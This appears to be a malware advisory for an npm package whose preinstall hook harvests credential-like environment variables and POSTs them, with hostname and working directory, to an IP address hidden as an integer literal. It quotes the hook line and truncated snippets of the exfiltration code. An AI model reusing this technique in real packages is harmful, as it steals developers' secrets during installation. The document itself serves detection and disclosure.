GCVE-110-OSM-2026-11656

The package's preinstall lifecycle script enumerates process.env and collects any variable whose name matches credential-shaped keywords (key, secret, token, pass, mnemonic, seed, private, wallet, rpc, infura, alchemy, database, api, and similar), augments the payload with hostname, cwd, and Node version, and POSTs the JSON body to a hardcoded remote endpoint. The destination is obfuscated as the integer literal 759017974, which Node's http.request coerces to IPv4 45.60.227.246, on port 61289. The package's index.js exports no-op token functions with no real functionality, so the preinstall exfiltration is the entire payload behind a stub cover story. Judge assessment: This looks like a credential-theft preinstall backdoor that enumerates process.env for secret-shaped variables, adds hostname, cwd, and Node version, and POSTs the JSON to a hardcoded remote endpoint. The attacker model is a supply-chain package author trying to steal developer secrets during npm install, and the package is consistent with that goal because the only active behavior is in `preinstall.js` while `index.js` is described as a no-op stub. The `preinstall` lifecycle hook in `package.json` guarantees execution on install, and the OSV advisory's claims are directly corroborated by the `env-exfiltration` and `http-exfiltration` findings. Minimal metadata and the burner-like package shape further support a deliberate malicious throwaway package rather than a legitimate token library. ENTRY - Install Hook Executes Local JS File in package.json: ""preinstall": "node preinstall.js"" EXFIL - Environment Variable Exfiltration in preinstall.js: "process.env[k]; } } e._h = o.hostname(); e._c = process.cwd(); e._v = process.ve..." - HTTP Data Exfiltration in preinstall.js: "process.cwd(); e._v = process.version; const d = JSON.stringify(e); const r = h...." PAYLOAD FILES preinstall.js